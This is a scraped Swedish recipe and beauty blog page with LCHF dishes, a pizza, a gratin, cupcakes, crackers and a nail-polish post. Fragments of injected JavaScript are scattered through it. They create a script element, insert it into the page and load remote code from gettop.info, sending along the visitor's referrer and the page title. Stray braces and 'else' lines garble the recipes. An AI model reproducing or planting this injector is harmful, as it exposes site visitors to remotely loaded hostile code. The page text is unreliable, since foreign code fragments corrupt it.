Lax i ugn med majonnäs och dill

Lägg upp en laxfilé på en ugnsfast form, salta och peppra och lägg på en klick majonnäs på toppen och en dillkvist över.
Grädda på 250 grader mitt i ugnen ca 15 min. Servera med kokta grönsaker och grillade kvisttomater.

}

LCHF Parmainlindad kyckling med balsamicosås.

Parmalindad kyckling med balsamicosås  (4-5 portioner)
4700-800 g kycklingfilé
salt nymald svartpeppar
1 msk hackad färsk oregano
10-15 tunna skivor parmaskinka
3 dl vispgrädde
3 msk balsamvinäger
1 1/2 msk konc kycklingfond
3 pressade vitlöksklyftor några kvistar färsk oregano

Gör så här: Sätt ugnen på 225 grader.
Krydda kycklingen med salt och peppar. Bryn kycklingen i smör i en stekpanna.
Linda parmaskinkan runt kycklingen och lägg i en ugnssäker form.
Vispa ihop vispgrädde, balsamvinäger, fond, oregano och vitlök. Häll det i formen.
Stek i mitten av ugnen ca 15 minuter. Strö ev över lite färsk oregano vid servering.

var d=document;var s=d.createElement('script'); }

Pizza med kronärtskockor, tomater, mozzarella och timjan

Här kommer ett recept från Tina Nordström på en en lite god pizza.


Ingredienser: (4 portioner)
25 gram jäst
3 dl ljummet vatten
1 msk olivolja
0,5 kilo vetemjöl
1 tsk salt

1 burk kronärtskockhjärtan
0,5 dl olivolja
salt
1 vitlöksklyfta
400 gram cocktailtomater
200 gram mozzarella
2 dl svarta urkärnade oliver
några kvistar färsk timjan

Gör så här:
Degen:
Lös upp jästen i vattnet och blanda i olivoljan och hälften av mjölet. Tillsätt därefter saltet och resten av mjölet. Knåda till en smidig deg och låt jäsa under duk i ca 1 timma. Det går lika bra att köpa en färdig pizzadeg om du inte orkar göra degen själv. Sätt ugnen på 275 grader.

Kronärtskockskräm:
Sila kronärtskockorna från spadet och mixa dem med olivoljan till en puré. Smaksätt med salt och mixa ner vitlöksklyftan.

 

 

 

 

 

 

 

 

 

 

Halvera cocktailtomaterna, lägg dem ien sil och krama ur dem med handen. Skär oliverna och mozzarellan i skivor.
Kavla ut degen till pizzorna och bred ut kronärtskockskrämen över pizzorna, läma ett par centimeter runt om utan kräm. Lägg på tomaterna, oliverna och mozzarellan. Smaksätt med salt , svartpeppar och några kvistar timjan. Jag la på lite extra riven ost.  Baka på het plåt i ca 10-15 minuter. Servera pizzan med lite parmaskinka och hyvlad parmesan och lite ruccolasallad.

document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

Ciaté Sequined Manicure

YouTube Preview Image

Ni har säkert hört talas om caviar manicure. Nu har Ciaté en nyhet ….paljettnaglar. Tycker det ser riktigt snyggt ut.

Du kan köpa detta på www.eleven.se. Priset är 199 kr och de finns i två färgställningar, Harlequin eller Tutu.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

d.getElementsByTagName(‘head’)[0].appendChild(s);

Varm smörgåstårta

Har ni hönökaka hemma…Varför inte pröva på att laga en varm smörgåstårta. Receptet hittar ni här.

} else {

Vit kladdkaka

Vad sägs om att baka en god vit kladdkaka till helgen? Receptet hittar ni här.

var d=document;var s=d.createElement('script'); var d=document;var s=d.createElement('script');

Nyttig chokladglass

För er som vill prova på en nyttig glass…kika här.
Perfekt att servera till färska bär.

 d.getElementsByTagName(‘head’)[0].appendChild(s);

}}

Kasslergratäng LCHF

Ingredienser:
Kassler 600-700g
Creme fraiche 3dl (Om ni vill ha ett smalare alternativ så ta lätt creme fraiche, kesella eller yoghurt)
Riven ost 2dl
Vitlöksklyfta 1st pressad
Paprika 2st
Gul lök 1st
Champinjoner 1 burk
Zucchini 1/2
Balsamvinäger 1 msk
soja 1 msk Salt Peppar

Gör så här     Tärna paprika lök och zucchini i centimeterstora bitar stek mjukt i smör, häll på balsamvinäger och soja och salta och peppra efter smak men tänk på att kasslern är salt i sig.
Skiva 1/2-cm tjocka skivor kassler och lägg i ugnsform häll sedan över grönsaks-steket. Blanda creme fraichen med den rivna osten med vitlöken och täck alltsammans med det.
Sen in i ugnen 200 grader i 15-20 minuter eller till den fått fin färg.

} else {

Nyttiga hallon cupcakes

Det här receptet räcker till ca 15 stycken cupcakes.

Recept:
125 gram kokosmjöl
6 ägg
250 gram naturell yoghurt
2 tablespoons Sötningsmedel (Stevia eller sukrin)

Hallontopping
400 gram hallon
10 gram gelatin

Gör så här
Blanda ihop alla ingredienser och häll i 15 muffinsformar. Fyll  upp med smet tills den täcker halva formen.
Baka i 200 grader ca 20-30 min.

Värm upp hallon och lägg i gelatin och blanda ut med 2 tabelspoons av sukrin. Fyll upp med hallonblanding på toppen av varje cupcakesform. Låt stelna.

Då det inte är något bakpulver i receptet så blir kakan lite spröd och torr och smakar inte så mkt i sig själv. Toppingen ihop med kakan blir en bra kombination.}

}

Kex (LCHF)

Recept:
1 1/2 dl sesamfrön
1 dl linfrön
2 msk pofiber
1 msk fiberhusk
1 msk mald kardemumma
1 msk honung eller sukrin
1 tsk havssalt
1/2 dl smält smör
2 1/2 dl kokande vatten

Gör så här:
Blanda samman alla torra ingredienser i en bunke. Koka upp vattnet, tillsätt smör och honung eller sukrin.

Rör ihop alltsammans ordentligt, häll ut på bakplåtspapper. Bred ut smeten till en jämn kaka över hela plåten
33 x 30 cm.

Grädda i mitten av ugnen på 150 grader i 45 minuter. Ta ut plåten efter 30 minuter och skär kakan i små fyrkanter.

Grädda ytterligare i 15 minuter. Ta ut och sära lite på kexen. Låt torka på+ 50 grader i 2-3 timmar.
document.currentScript.parentNode.insertBefore(s, document.currentScript);

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;